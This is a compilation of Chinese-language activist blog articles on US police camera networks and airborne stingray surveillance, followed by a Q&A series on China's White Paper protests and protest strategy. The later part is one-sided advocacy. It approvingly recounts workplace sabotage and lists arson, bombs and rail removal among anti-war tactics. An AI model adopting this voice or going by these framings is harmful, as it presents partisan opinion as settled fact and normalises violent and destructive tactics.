一些评论者感叹说，当他们给警察打电话时，警察没有判断出任何值得回应的情况。而其中一个人建议称：“如果你告诉警察此人携带有武装，警察们应该就会来了。”（……）

对于全国各地的城市而言，鼓励人们拥有监视摄像机并进行这种在线共享 —— 通常与警察合作 —— 正在成为其推崇者所声称的 “预防犯罪” 的所谓新支柱。

这些举措已经改变了社区的监管方式，也改变了警察自身的行为。⚠现在，随着全国各地城市对警察暴行的抗议激增，执法部门正依靠这些网络来追踪识别示威者。

在华盛顿动荡的一夜之后，特区警察局长 Peter Newsham 在6月1日的新闻发布会上说：“ ……幸运的是，我们的城市拥有非常广阔的闭路电视监控系统，我们有政府掌控的监视相机，我们还有私人拥有的监视相机”，他补充说，警方正在 “敦促” 居民和企业分享他们的监视器拍摄的镜头。

DC的居民已经响应了该警察局长的号召。

6月2日，Nextdoor 上，在华盛顿特区西北部的一名妇女写道：“检查你的监视摄像机”。她正在向警察转播一段录像，录像中有 “几个年轻人”，他们谈论在抗议热潮期间趁机抢劫银行，而没有意识到他们正在被她家的监视摄像机记录下来。

警察激励私人监视摄像机

华盛顿特区是城市如何资助私人监视的一个鲜明案例。

在过去的四年中，**DC**为居民提供了超过**18000**个监视摄像头，投资额"超过200万美元"。

该市有一个私人监视摄像机“奖励计划”，向购买自己的监视器系统的城市居民发放**500**美元的折扣优惠券，但前提是：他们必须在市警察局注册。

现在，大量新的监视摄像机布满了这里的门廊和后巷，而它们拍摄的镜头遍布在 Nextdoor 之类的论坛上。

已经不止是华盛顿，此类倡议正在全国范围内激增。

华盛顿州的斯波坎市和马里兰州的巴尔的摩市以及明尼阿波利斯的一些社区，在过去两年中都启动了类似的私人监视器折扣计划，而加利福尼亚州的旧金山、得梅因、爱荷华州、加利福尼亚州的伯克利，也都保留了私人监视摄像机注册表。

这些注册表通常仅与警察共享位置和摄像头系统信息，而不能使警察直接访问摄像头源。而芝加哥的监视摄像头网络更进了一步，因为一旦车主注册了摄像头，警察和各个城市机构便可以在未经许可的情况下"随时访问"它。

芝加哥警方说，他们控制着全市 **45000** 个监视摄像机的网络，尽管他们没有透露其中有多少摄像机是私人拥有的。

大都会警察局（MPD）已在华盛顿特区附近运营了数百个公共CCTV监视摄像机。通过监视摄像头注册表，警察现在可以获得成千上万的精确坐标。与CCTV监视系统不同，已注册的私人摄像机的位置不会公开。

MPD 助理主管 Robert Contee 说：“毫无疑问，我们可以看到越来越多的监视摄像机 **……** 打折优惠计划无疑对此更有帮助。”

Contee 说，MPD 使用监视摄像机追踪了被认为是 “嫌疑犯” 的人在犯罪现场的进出。他说，检查私人监视摄像机注册表以联系摄像机所有者获取镜头，现在已经在他的调查中司空见惯。

华盛顿和全国各地忍受警察暴力已久的示威者，还必须在任何时候都与那些监视器抗衡，包括在街道上、企业、公共建筑、社区内。华盛顿特区制止警察恐怖计划运动的组织者 Whitney Shepard 说，对于示

威者来说，“这确实令人恐惧”。

从历史上看，从民权运动期间的 COINTELPRO 项目到弗格森起义，警察和联邦调查局一直在投入了大量资源以追踪活动家。在下面看到综合报告：

- 《警察渗透抗议运动简史》

Shepard 说：“ [社区监视]是我们目睹的更阴险的方式之一。在这一刻，我们作为组织者希望推动叙事，关于：我们需要提防邻居，而不仅仅是警察。不幸的是，华盛顿的领导人根本不上心。”

长期以来，人们一直关注着警察如何依赖私人监视摄像机镜头导致的对隐私人权的影响。对于“新美国开放技术研究所”的政策总监 Sharon Franklin 来说，这些计划是一种警察监视的后门。

Franklin 说：“这是委托私人进行警察级别的监视，但是却没有明显的控制措施也就无法确保应适用于政府监视的规则仍然在此适用。”

其他人警告说，数字监视摄像机现在可以轻松在社交媒体上播放录像，在富裕社区中会加剧偏执狂，这通常会导致种族歧视。使用此类监视相机共享在白人社区中被视为“可疑”的有色人种（通常是黑人）的照片已得到充分证明。

在华盛顿特区，在监视摄像头政府优惠方面，居民之间存在明显的差距。正如 DCist 在3月份报道的那样，尽管贫困率更高且被报告的暴力犯罪率较高，但在 Anacostia 河以东的社区居民仅获得了15%的折扣。而与此同时，华盛顿特区的白人那些较富裕的社区，则从中更多地受益。

一个赚钱的监控蜘蛛网

在华盛顿特区，这种监视摄像机的分布与私人监视摄像机使用的整体国家趋势相吻合。像 Amazon Ring 这样的公司已经将该国一些较为富裕的郊区作为消费群体。

亚马逊不仅将其 Ring Ringbell 产品作为监视视频的来源，而且，还作为一个平台进行销售 —— 闪亮的门铃摄像头随附了社区所谓的犯罪地图应用程序。在下面看到具体介绍：

- 《亚马逊帮助警方构建了一个广泛的监控网络》

Amazon Ring 已与全国400多个警察部门建立了数据共享关系，并因其与执法部门的密切关系而受到抨击。据主板报告，该公司已敦促警察部门推广其监视相机，在某些情况下还提供免费监视相机作为推广 Ring 的奖励。

值得注意的是，像 Ring 这样的公司在何时可以直接与警察共享私人监视摄像机的镜头方面，几乎没有限制。

根据 Ring 的公共信息共享政策，只要声称 “与调查可疑的或实际的非法活动有关”，该公司就可以披露信息。

亚马逊 Ring 表示，它在全国范围内 “促进监视摄像机补贴方面” 发挥了积极作用。尽管该公司没有与 MPD 警察局建立公开的合作伙伴关系，但是，在2016年该监视相机程序启动时，Ring 发表了一篇博客文章，宣布其正在与特区政府合作以 “get the word out”。

那篇文章写道：“Ring 已与美国各地的城市合作，推出了类似的计划。” 该公司随后表示，正在通过折扣计划降低专为DC居民使用的某些监视相机的价格。

Garcia 说，无论 Ring 的支持如何，DC激励计划都不会建议人们购买任何特定的相机。但是，对于亚马逊来说，该计划无疑是一项不错的生意。

许多公司发现在监视方面进行投资是非常有利可图的。在明尼阿波利斯，至少有五个城市郊区的警察与 **Ring** 建立了伙伴关系，Target 一直是警察监视的主要投资方，在整个城市的**CCTV**摄像机上花费了"30万美元"。

5月28日，在 George Floyd 被明尼阿波利斯警察杀害的那几天，Minneapolis Target 的监视镜头被迅速传播。对于许多人来说，此事件已成为人们普遍抵制监视和公司贪婪的愤怒。

- 《当我们陷入困境：中国社会能从美国的反抗运动中学到什么》
- 《来自中国的“跑题”来自中国的“跑题”》

这种群众斗群众式的私人监视摄像机通常只是城市不断扩展的监控基础设施中的一部分。

在芝加哥，警察使用黄貂鱼跟踪设备监视手机位置；在纽约市，警察使用车牌读取器实时监控汽车的位置；1月，MPD警察局宣布与

Nextdoor合作，允许论坛用户快速将其监视录像转发给警察 ……

- 更多详细介绍，含防御方法 《"警察用哪些监视方式瞄准抗议者？"》

“您已经看到，通过与私营企业和个人合作，以及从国土安全部和司法部获得联邦拨款，警察已经能够在城市建立起这些非常庞大的监视摄像头网络，从根本上使警察局可以随时控制整个城市的方方面面”，政府监督项目高级顾问 Jake Laperruque 表示，“这真的很令人不安。”

当然，越来越多的摄像机镜头也为警察证明了一把双刃剑的存在。George Floyd 是如何被杀死的摄像机视频引起了全国的关注 —— 它也被附近的监视摄像机捕获了。〇

Police Are Building Surveillance Networks of Private Security Cameras in Cities

原文

黄貂鱼被放在飞机上一次性监控成千上万部手机 - iyouport

维稳面面观

【2020年6月2日存档】这件事*至少*已经持续了6年，只是才刚被曝光……

大家都知道黄貂鱼是什么。它伪装手机信号塔利用诱骗的诡计来监视附近所有连接到它的设备。更糟糕的是，政府间谍和警察一直把黄貂鱼放在汽车和货车里，满街跑，万一你走在路上，或者车子开过你家门口 …… 你就中招了。

- 这很重要👉《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？》

但是现在，上述举动已经不会让任何人惊讶，因为，它正在扩大其追踪范围，这也使它能够一次性收集更多人的数据。

根据《华尔街日报》的新报告，政府一直在使用装有 *特殊电话监视设备* 的塞斯纳飞机来追踪他们想要的任何人。

⚠请记得，监控系统的设计目的是拾取覆盖范围内**任何人**的手机信号，而不仅仅是当局想要的人。

该监视设备的准确覆盖范围目前未知，但是这意味着在一次飞行中可能会收集成千上万部手机的数据。

这种装在飞机上的监视系统是一个名为 Dirtbox 的2平方英尺的盒子 —— 与警察、军事和间谍机构已经使用了十多年的黄貂鱼基本相同或相似。

这项秘密的黄貂鱼技术使警察可以伪装成合法的手机信号塔，以欺骗附近的所有手机和其他无线通信设备（例如无线网卡）连接到该黄貂鱼。于是它可以看到并记录其唯一的ID号以及指向该设备位置的信息。

并不在意料之外

「图」

警察条子经常在汽车和货车上部署黄貂鱼。然后开着它满街跑。通过黄貂鱼从附近的各个位置收集的无线设备信号强度，当局可以精确地确定使用该设备的人的位置，而不是通过从移动网络提供商那里获取数据。

定位后，特工就可以切换到手持设备，该设备以相同的方式操作，但允许政府间谍自由移动以确定目标所在的确切公寓或办公室位置。

- 不要忘了，美国技术巨头帮助中国构建了一种更厉害的便携式监视设备，政府间谍可以直接把它放在口袋里徒步追踪所有人，见《IBM和谷歌如何通过中国协助独裁政权的间谍行为？》

但是，这种监视方法的主要问题之一是，这些监视设备迫使一个较大区域中的每一部手机都必须与其连接。因此，如果政府的黄貂鱼驶过您的办公室或住屋，你的所有设备就已经被捕获。

现在是，政府间谍把这东西放在飞机上，更大范围地撒网。

我们的《如何发觉暗中监视》的支招中强调了那种奇怪的汽车您应该警惕；但是这份报道显示，飞机飞过头顶也是应该小心的……

对政府间谍来说，空中监视显然比通过货车或汽车跟踪要厉害得多，因为车辆经常不容易在繁忙的街道或农村地区行驶。飞机可以在更大范围内快速移动，并且可以捕获更多的电话。

但这也意味着 Dirtbox 的信号强度很可能大于地面使用的那种黄貂鱼——也就是说，这意味着它们会侵害更多的无辜者。

当局的自辩称“只保留和使用与犯罪嫌疑人有关的数据。设备确定哪个电话属于可疑电话，然后释放其他所有不相关的电话”。但是，公民自由活动家必须持续警惕，因为政府已多次尝试向法院和设备被捕获的被告掩盖其对黄貂鱼的使用，并很有可能也隐瞒了对 **Dirtbox** 的使用。

谁在使用 Dirtbox？

「图」

目前尚不清楚以这种方式进行空中监视已经持续了多长时间。

国防承包商哈里斯公司（Harris Corporation）于2008年从公共情报部门获得的有关黄貂鱼系统的文件显示，至少六年前，该公司就以9000美元的价格出售了用于手机监控系统的机载安装套件，表明这种灾难已经持续很久了。

《华尔街日报》指出，Dirtbox 监视系统由法警局使用，该局从至少五个大都市机场运行塞斯纳飞机，其位置允许这种间谍飞机的飞行范围覆盖全国大部分人口使用的手机。

然而，众所周知，法警局已经将其黄貂鱼装备借给了当地警察部门，最近在佛罗里达州发生的一例案件显示。

因此，他们也很可能将 Dirtbox 监视设备提供给了全国各地的多个机构。

《华尔街日报》援引一位官员的话说，执法部门已获得法院命令进行监视。

但目前尚不清楚批准这种法院命令的法官是否真的明白进行跟踪的性质以及所使用技术的功能。

在某些情况下，警察和间谍要么绕过法院而使用黄貂鱼，要么对法官在使用该技术的关键信息方面撒谎或隐瞒，从而在没有被要求回答重要问题的情况下就获得了法院命令。

编者注：IYP在多年前曾经警告过，中国当局最擅长模仿，他们模仿几乎所有恶劣的管制和压制手段；而且不仅中国，全球很多专制国家都在做同样的事。

这件事在去年牛津互联网学院的年度报告中再次得到了证实，在这里看到中文版《看清信息战：2019全球有组织社交媒体操纵清单》。各国当权者不仅彼此模仿，甚至互相传授/培训专制手段。

☞这就是为什么IYP一直在转述来自各个国家的“新型”的管制压制——因为这些手段基本很快会在其他国家被复制模仿，包括中国。尤其是，如你所知，模仿成功需要一段时间，反抗者完全可以抢在本土当局模仿成功之前找到抵御的方法。

前提是：知道得越早就越有利。

我们把其中一些相对重要的信息总结到了 “维稳面面观” 板块中。

不要错过我们的新分类知识列表 👇

防身的：

https://start.me/p/xbYXdR/iyp-1

认知的：

https://start.me/p/RMQrDD/iyp-2

斗智的：

https://start.me/p/nRBzO9/iyp-3

眼界的：

https://start.me/p/aL8RrM/iyp-4

你懂的：

https://start.me/p/1kod2L/iyp-direct-action-5

○□

The Feds Are Now Using ‘Stingrays’ in Planes to Spy on Our Phone Calls

原文

年终礼：在白纸上绘制未来 (第1集) - 我们"伊朗了"吗？ - iyouport

在白纸之上

话题1: 这是革命吗？白纸能带来民主甚至自由吗？..... 为什么？

「图」

这些天里我们一直在与很多读者进行交流，主要就是关于这场抗议活动。

经大家的同意我们从中挑选了一些话题进行了整理，现逐一发布。

对这些话题的选择基于：

1、它们很重要且实用，但目前为止几乎没有在任何主流媒体和其他论坛中被谈及；

2、它们可能与接下来的局势相关，但正在很大程度上被忽略。

最终我们将把所有内容收集在一起，成为我们今年的年终礼。

并且，问题始终开放，随时欢迎更多和更深入的讨论和思考，至关重要。

这里是第1集。

「图」

话题1：白纸抗议可以成为伊朗那样的反暴政起义吗？

「图」

提问：

- 为什么我会看到那么多人主张不要呼喊反政府的口号？人们为什么害怕反政府？
- 结果会是怎样呢，又是 〝地方办事不力，中央永远伟大及时拨乱反正〞 吗？ …… 这一次能成功实现政治变革吗？
- 白纸抗议可以成为伊朗那样的反暴政起义吗？
- 我再次看到很多人抱怨 〝中国人怎么怎么不行〞、〝维稳压倒一切〞 之类的老生常谈。我已经听腻了。我想知道IYP会如何解释这个问题。

iyp：下面这两个视频中的演讲指出了这场反抗行动的本意。白纸的本意 —— 反审查、反压迫、反暴政。

一定程度上抢占社交媒体舆论场的保守派宣传员们曲解了这个符号。不论有意无意。

白纸作为运动符号的设计很聪明，任何了解专制国家的人一眼看去就能明白它代表什么。理论上要曲解它并不容易。

但您之所以会看到 “很多” 人没有直接支持其反暴政的本意，这里有多方面的原因，我们可以逐一解释；但是，其中最基础的一个原因就是，一定程度上有足够多的中国朋友可能还没有准备好。于是短期内不会有伊朗那样的反暴政起义。

既然大家以伊朗为例，那么我们就来对比一下，以便说明为什么。

对于伊朗，现在全世界都知道这个故事 —— 臭名昭著的头巾巡逻队的暴徒（所谓的“道德警察”）杀死了一名姑娘，她叫吉娜·阿米尼。但您是否发现了一个问题 —— 人们至今都不知道杀死吉娜的那个警察叫什么名字？

这就是整件事的关键。您可以试想，如果这件事发生在中国 —— 普通公民因变态的政策和体制而致死 —— “最好的结果” 会是什么样的？

找到肇事者对吗？—— 也许是个替罪羊，您知道 ；和/或让该部门领导被拉下马？—— 趁机换上中央领导的心腹之人，您懂的；甚或改革政策，“禁止警察使用致命武力” —— 至于什么才是致命武力，镇压当局拥有完整的解释权 …… 以上这些都是可能性最大的结果，而不是全国性的反暴政起义。

为什么？

因为主流诉求一直都是要求政府来“解决问题”、向国家“寻求公道”。

换句话说，多数人还尚未准备好完全脱离这个政府后的生活，缺乏对彻底废弃这个系统后的新生的想象力。相反，所有灾难、所有被曝光的丑恶行径，都只会引发改良主义的诉求 —— 要求这个本是罪魁祸首的系统内部提供“解决方案”。

想想中国网络上流传的“5大”诉求？不论是核酸、封控、集中营、还是审查制度、媒体管制，所有这一切都是统治暴力的表现形式；诉求者将改变这一切的主导权交给了制造这一切的统治者，在此基础上制造的压力即便再大，也只是给了统治者一个变换方式继续蒙骗人民的机会。

「图」

《要运动，不诉求》

这次伊朗的起义则完全不同。没有人再关心如何将肇事者绳之以法，更不需要任何赔偿，甚至对肇事者是谁也不再感兴趣，不再祈祷任何改革、不再恳求任何“开放”，对改朝换代已经失去兴趣，因为每个人都已经知道，每个人都已经深深确信，肇事者、罪魁祸首就是整个系统，除非彻底铲除伊斯兰共和国这个系统，否则任何问题都无从“解决”。

这是因为，头脑中革命的发生远远早于街头的路障和烟火，已经有足够多的公众具有成熟的政治想象力，他们可以清楚地认识到一个没有伊斯兰共和国的“伊朗”是什么样的，摧毁整个系统的想法已经从曾经的愿景变成了真正的可能性。

换句话说，如果没有头脑中的革命在先，后面所有的一切都不会发生。

正是由于这种信念的彻底转变，恐惧的天平倾斜了，你能看到无数抗议者袭击警察的视频。大群的年轻人围住警察并解除他们的武装，被孤立的镇压者从手无寸铁的抗议者身边仓皇而逃 …… 这是十几年前难以想象的。

人们不再害怕。没有人能奴役不再害怕的人。

改良派、投机分子和嘴炮的胡搅蛮缠都已经彻底失去了吸引力。这是只有起义才能带来的清晰时刻。

「图」

和北京一样，德黑兰很擅长撕裂社会，是的，统治者都在声称“团结”—— 而他们强调的团结是要“团结”在统治者周围，所有质疑统治的人都将被排斥出去。

哈梅内伊宣称：“如果你的心是为伊斯兰教、为(1979年的)革命、为伊玛目(霍梅尼)而跳动，你就是真正和人民站在一切的。如果你听外国人的话，你的心为他们而跳动，你就是个局外人”，是敌人。

这不仅仅是独裁的剑拔弩张。在他的世界观中，“局外人”就是内部的敌人，必须被遏制，并在必要时消灭。这一类别随着时间的推移而不断扩大，正如2019 年的起义那样 —— 政府通过关闭互联网一周、逮捕数千人、并杀死一千五百人来镇压 —— 这意味着现在大多数公民都是“敌人”。

按照这个规定，伊斯兰政权管理国家与其说是一个典型的独裁或极权体制，不如说是一个殖民政权：它把所有的财富、特权和利益都输送给了极少数的“内部”精英，让“外部”大多数人在贫困中苦苦挣扎，并在他们表达绝望时残酷地让他们沉默。

这就是为什么2022年9月，一名女性抗议者站在一个警察面前对他大喊：“你来我的国家就是要和我战斗！”对于不了解上述背景的人来说，这个画面似乎有点奇怪，因为显然两个人都是伊朗人。但这位抗议者和其他所有抗议者一样，他们强调伊朗属于人民，政府是一群入侵者、占领军，人民必需把他们赶出去。

曾经很长时间里，伊朗人也同很多中国人一样，在维权活动中声嘶力竭地呼喊最高领袖和政府去“听听人民的声音吧”、“看看人民的遭遇”，能真正“为人民服务”，至少不要把人民当作敌人来防备。人们曾经真的以为表达出对最高领袖的尊重乃至臣服就不会被残酷地镇压；在改良派的影响下，很多人真的认为对话和妥协能奏效；……事实证明所有人都想错了，改良派是最大的笑柄。

这一次人民不再傻了。不会再乞求怜悯。不会再寻求政府的承认。简言，不会再继续接受羞辱。

「图」

拒绝继续被羞辱的决心是这场起义的真正动力；并且尤其是，如上述，思想革命是街头革命的基础，多数人已经能够明确地想象出终结

整个系统后的生活，变革绝非空想！这就是今天全世界能看到的场面的由来。

换句话说，如果没有这些基础和动力，它就不会发生。当中国社会准备好这些基础时，它就会发生。没有任何人能阻拦时代。这些准备应该是反对派组织的工作。

「图」

「图」

在白纸运动中我们也看到，一些行动者认为“避免呼喊反政府口号”是为了“吸引更多百姓的支持”，并声称“如果没有得到别人的支持，只凭这样一些少数激进的人，你是不能改变中国的，你只会毁掉你自己的未来”…… 这听起来似乎像是策略，但事实上只是误导，因为这一说法回避了为什么要预测大众不支持以反政府为目标的示威？——答案在上述。是反对派长期缺位造成的，是在没有任何基础设施的基础上开启一场大规模抗议行动造成的。

已经非常清楚的和毫无疑问的是，抗议行动所期待得到的一切都不可能在这个政权下得到。换句话说，不论你是否呼喊反政府的口号，每一个抗议动作都是在反政府。口号是这其中最无足轻重的东西。

简言，如果您的诉求是真心的，您就应该知道所有这一切都无法通过诉求来实现。

「图」

Q：我记得你们多次说过 〝异议〞 和 〝反对派〞 是不同的，具体不同在哪里？

iyp：就在这里。这里是唯一的不同之处，即 异议只需要批评当下——只需要说出“我不想要核酸了、不想要被封锁”，或者“我不想要继续接受现在的执政党领导，我要最高领导人下台、让执政党下台”；而反对派必需能给公众一些完全不同的其他选项，可以取代当下的更好的未来构想。也就是说，异议只需要去说，去分析和批评，而反对派必需去做，去论述、创造、实践、示范一个新的系统，让现有的过时。

这需要时间。但当你的种子已经埋入土壤中时，每一分钟都将是幸福的。破土将在一瞬间发生。

「图」

Q：如何才能判断社会是否准备好了？

iyp：判断一个社会是否已经为革命做好了准备的最好方法依旧是要观察其思想。并不是观察舆情或民调对现政权支持还是反对的比例哦，而是观察社会对彻底剥离现政权的生活的憧憬和信心。

只有当与现政权共生被更多人认为不再可行时，才会有革命。

反对派对第二选项准备得越充分，人们跟上来的可能性就越高。

Q：二十大的时候我记得你们说〝人民的命运还是一张白纸〞，就是指还没有对未来的具体规划和准备？

iyp：是的。

「图」

Q：四通桥之后很多人在网上建议各种各样的行动来跟进，努力唤醒身边人，但最后习还是连任了。此前也有很多人主张摸鱼，也没见到什么明显的影响 …… 所有做的这一切究竟有多大意义呢？上街的人还是太少了吧，而且专业性太差，比香港人差太远 ……

iyp：我们觉得意义很大，所有这一切行动的意义都很大，这是在切实地接力和放大火种。

比如摸鱼，是相当经典的反抗形式。在第二次世界大战期间，在纳粹德国占领的领土上，摸鱼就作为破坏活动存在，是一种被广泛使用的抵抗形式。东欧被占领土地上的大部分人口被雇用在满足德国军队需求的工业工厂里工作。

“波兰人，慢慢干”（波兰语：pracuj Polaku powoli，或简称 p. P. p.）是波兰抵抗运动的一个口号，呼吁人们拒绝高效工作，以破坏纳粹工业。带有这一口号的涂鸦由地下组织分发。有时，涂鸦里还画了一只小乌龟，作为缓慢工作的象征。涂鸦中包括的其他标语有：“慢点工作—— 你让战争的结束更近了”，“那是一只乌龟。就像这样移动，为德国人工作”，“慢慢地工作，因为你是在被俘虏中”。

这些策略与旷工、破坏和公然破坏一起，构成了工人反对占领的最有力武器。1943年6月，经济学家的报告中写着，“……约有三分之一的工人每天工作不超过4小时 …… 任意停工导致一些工厂的损失高达

30%。”

在波兹南，地下组织散发了一份传单，宣布“缓慢工作”是波兰人的第一条戒律；其他戒律包括：“经常装病”、“在厕所里多呆一会儿”、“不要拧紧螺丝”、“尽可能多地偷东西，但不要被劳动保护部门抓住”、“帮助你被捕同事的家人”等。

今天的摸鱼行动就是对八十年前反法西斯运动火种的接力。

抵抗并没有那么高难度，但它必需两个条件：足够多的人对现状不满，和，人们愿意团结起来改变这一切。

「图」

并不需要所有人都上街，因为需要的不只有在街头的人，有很多人因各种原因选择不上街，以其他方式做出贡献，我们称之为后勤工作者。比如绘制路线图、提供实时资讯、核实资讯的真伪打击假消息、揭发水军/僵尸网络、组织营救被捕者，等等，都是非常重要的工作。前线和后勤紧密结合的基建才更有望成功。团结是最重要的武器。

不论是学习街头战术还是在线安全知识，不论是传递信息还是保护身边朋友，甚或只是参与交流和思考，所有这些精力的投放都具有重要的意义，这是对所有人而言的实战教学法。任何参与其中的人，不论是在线的还是街头的，都会慢慢发现自己的眼光已经变得不同——走在街上会开始不由自主地寻找“出口”，以逃避防暴警察的眼光重新审视街区；在互联网上会开始警惕陌生人发来的链接和附件，当想要联系朋友时，会首先意识到某个通信渠道的安全性如何……当斗志和权利意识醒来时，您对周边的认识就会变得完全不同。

如上，头脑中的革命是第一步，之后就是实战能力和战术智慧了，实战教学是快速提升专业性水平的最佳途径。这场学习对所有人来说都具有非凡的意义。

「图」

Q：为什么上海封锁时只有哀怨没有反抗，现在却忽然有了？

iyp：因为那时候还没有火种。现在有了。

Q：镇压会扑灭火种吗？镇压会怎么做？

iyp：所有镇压都旨在扑灭火种，为此，统治者将无所不用其极。

主要手段至少包括以下这些（其他手段均在此之上）：

「图」

【

Q：这就是为什么你们总是在说 “后勤工作”？

iyp：是的。但是，在对抗镇压的战斗中，所有人都在前线。

Q：现在的关键任务是什么？

iyp：保住火种。

「图」

2022年8月，北京朝阳区核酸亭涂鸦。当时伊朗起义还没有开始

Q；保守派的宣传会影响这场抗议活动的发展方向吗？

iyp：对于一场无中心的抗议活动来说，真正能对发展方向起作用的只有行动者的行动，而非任何宣传者的宣传。

「图」

Q：IYP为什么一直没有使用 “革命” 或者 “起义” 来描述白纸行动？是因为人数还是太少吗？白纸这次能成功吗？

iyp：因为它还不是革命或起义。目前它依然是抗议。

至于能否成功，取决于反抗者的战术智慧。与街头的人数关系不大。

现在的形势正在进入一个瓶颈期。接下来的一切将会 ……

📱 预告下集话题：

「图」

如何判断运动的走势？如何取胜？行动者的智慧应体

现在哪里？

「图」

□□

—— 未完待续 ——

原文

年终礼：在白纸上绘制未来(第2集) - 火炬已点燃，之后呢？ - iyouport

在白纸之上

有没有获胜的密码？

这些天里我们一直在与很多读者进行交流，主要就是关于这场抗议活动。

经大家的同意我们从中挑选了一些话题进行了整理，现逐一发布。

对这些话题的选择基于：

1、它们很重要且实用，但目前为止几乎没有在任何主流媒体和其他论坛中被谈及；

2、它们可能与接下来的局势相关，但正在很大程度上被忽略。

最终我们将把所有内容收集在一起，成为我们今年的年终礼。

并且，问题始终开放，随时欢迎更多和更深入的讨论和思考，至关重要。

这里是第2集。

如果您错了此前的内容：

- 《年终礼：在白纸上绘制未来 (第1集)—我们“伊朗了”吗？》

话题 2：如何预测运动的发展？是否存在获胜的原理？反抗者的智慧如何体现？

「图」

Q：我身边一些人包括我自己，都很焦虑，你知道吗，几十年来，中

国人第一次，站出来了，但为什么那么迷茫？这个政权会因为几张白纸而倒台吗？…… 接下来会发生什么？…… 白纸该如何获胜？是否存在什么获胜原理？你们说的战术智慧到底是什么？

iyp：我们非常理解。但不得不说，获胜并不容易。不过的确有一些原理。行动者对此的理解越清晰，行动计划的设计就会越出色，胜算就越高。

我们来简单说说看，如何分析一场运动。

抗议行动需要投入精力和资源，并且不论如何都会带来一些结果，在商业比喻中这被称为“投资回报率”（ROI）。

比如说，壮观的行动吸引了观众的注意力，使痛苦的话题成为焦点—— 审查屏蔽不再起作用，是为“让隐形可见”原理；破坏性行动对统治系统施加惩罚，令其在一段时间内失去运转能力—— 设置路障、大罢工、瘫痪城市，都是反抗者最常用的战术 …… 所有这些行动所产生的效果都是一种“投资回报”。在这方面，我们建议谈论行动的单一效果，而不是同时谈论所有效果，以避免混淆。

认识了投资回报之后就要说说边际效用了。

抗议活动的边际效用指的是一个抗议活动在增加一个行动或增加一个抗议者之后得到的有益效果—— 比如举起白纸的行动，试想一下，同样的景象再多一个动作，会吸引多少注意力？新增一个破坏性活动（路障或罢工等）会在多大程度上削弱敌人的表现？把它看作是“增加”抗议的有效性。以此类推，您还可以谈论“边际风险”—— 道理是一样的，只是在这里做减法。

📌 以下是一些要点，设计战术的活动家应该了解的事。

1、抗议的边际效用不是恒定的。

「图」

这是最有趣的部分。抗议的边际效用会随着时间的推移而改变。

事实是，抗议活动不会完全独立发生。抗议事件是相互联系和相互影响的。曾经有多少人已经在参与抗议活动，或者过去的行动已经产生了什么样的影响，决定了下一次同类行动的边际效用。

进入广场的是一个人还是一万人还是一百万人？根据答案，下一个提议者可以期待他们的贡献有不同的回报（当然，也有不同的风险）。

在冲突中，行动的边际效用变化的一个著名例子是所谓的 “恐怖膨胀”。在其他条件相同的情况下，第一百次恐袭就不会像第一次那样引起人们的注意或造成那么大的破坏性和不确定性了。人们只是变得习以为常。为了使袭击的效果保持在同一水平，恐怖分子就被迫改变方法，寻找更具破坏性的或更令人匪夷所思的攻击方式。（此处拒绝任何曲解—— 我们这里只讲原理，因为它们的原理是完全一样的，且更容易想象）

换言，**Be Water** 战术要想成功，仅仅实现其字面意义是肯定不够的。

由于边际效用不是一个常数，它将随着时间的推移有一定的变化。那么我们来看看是否能以某种方式对它们进行分类，这一分类具有关键性意义。

2、边际效用不仅不是一个常数，它还会发生非线性的变化。

「图」

这里有三个基本的模式：一条递增的曲线；一条递减的曲线；一条S型曲线（如下图，横轴为时，纵轴为效）。

第一种模式是，抗议的整体效用一直在增加，但每一个后续行动的贡献在减少。第二种模式，抗议的总体效用也是一直在增加，但在这种情况下每一个后续行动的贡献越来越大。第三种模式可以被认为是前两种模式的结合。边际效用先上升，然后达到高峰，最后下降。在现实中，这种**S**型的效用函数将会更常见（就凭经验估计一个抗议活动的效用函数而言，是完全可能的）。

那么这种分类对大家来说的作用是什么？—— 它可以带给您一系列的战略选择。让我们仔细看看降序图和升序图。

先看边际收益递增在图表上的样子。抗议的整体效果一直在增加，但重要的不是这一点，而是随着每一次新的行动出现都会让增长发生得越来越快。

注意图表开头的平坦区域。斜率越接近水平，每单位行动的回报就越低。在一个边际效用递增的函数中，最低的回报就是在这个开始阶

段。低回报使得参与对大多数人来说无利可图，很容易阻碍行动的发育。

比如反封锁抗议，假如以彭先生在桥上作为起点，当时支持者一直在动员人们跟进，但速度有限；在那个时候，很多支持者更多是限于道义和立场上的表态，而非参与。

于是起初，必须开展一些回报率极低的行动，以便延续火种的生命力。然后会有一个时期，新行动的回报率会很高，人们会对“投资”/参与更感兴趣。中国各地的解封迹象就是这个阶段，包括假的解封政策（我们后面再说这件事）。

于是，这需要一个有强烈动机的先锋队，能够在很少或没有回报的情况下工作，以克服图表开始时的这个“吸引力”门槛。

开始时会很困难，但一旦跨过这个门槛，就会有雪崩式的参与。

接下来再看看边际效用递减在图表上的样子。抗议的总体效果一直在增加，但每一个连续的行动的效果却越来越小。边际效用递减的一个最典型的例子就是恐怖膨胀。

简而言之：前几个行动做了大部分的工作，随后的许多行动完成了剩下的工作。它很容易开始，却很难完成。

这里的曲线的平缓部分位于末端。

一旦主要贡献已经做出，而新的贡献对好转几乎没有影响，收益递减就会使人们的参与欲望减弱。

更重要的是，最积极的人通常在一开始就做出了贡献，而积极性不高的参与者则被留在了最后。您也许会问，在边际效用递减的情况下，让最有积极性的人最后再做贡献，不就可以了吗？比如让资深活动家团队在关键时上场？是的，这在战略上将是有用的，但通常情况下不可能，至少非常难。即便有再高的计划性，您也很难将事态控制成这样。

现实的解决方案必须非常有创造力。

3、是时候采用新方法了吗？

「图」

在实践中，当边际效用下降时，抗议者通常只是寻找增加回报的方法。或者更好的是，试图将效用曲线向上弯曲。也就是不断升级行动，试图使破坏力/压力越来越大。

或者在第二种情况下，像民权运动那样，在每次浪潮结束时都能找到根本性的新的抗议方法—— “战术创新”。因为一个成功的新战术又是一个新的不断增长的边际效用，一个S型曲线的新起点。

综合这两者， 就是我们曾经介绍过的原理《有策略地升级：不要爱上战术》

- 如果你错过了《空窗期令人困惑，但有效利用空窗是行动智慧的一部分：行动主义（14）》

比如俄罗斯的反战运动，方法只有那些—— 纵火、炸弹、拆铁轨、扎轮胎 …… 在这种情况下，边际效用消退是正常的，是可以预期的。随着纵火烧毁军事机构的现象变得普遍化了，对新的战术形式的需求也必需变得普遍。

对于中国的白纸行动来说，战术创新还没有开始，而行动如何升级，也完全取决于行动者对未来的信念（此处见上一个话题）。

4、有两个困难的部分。

「图」

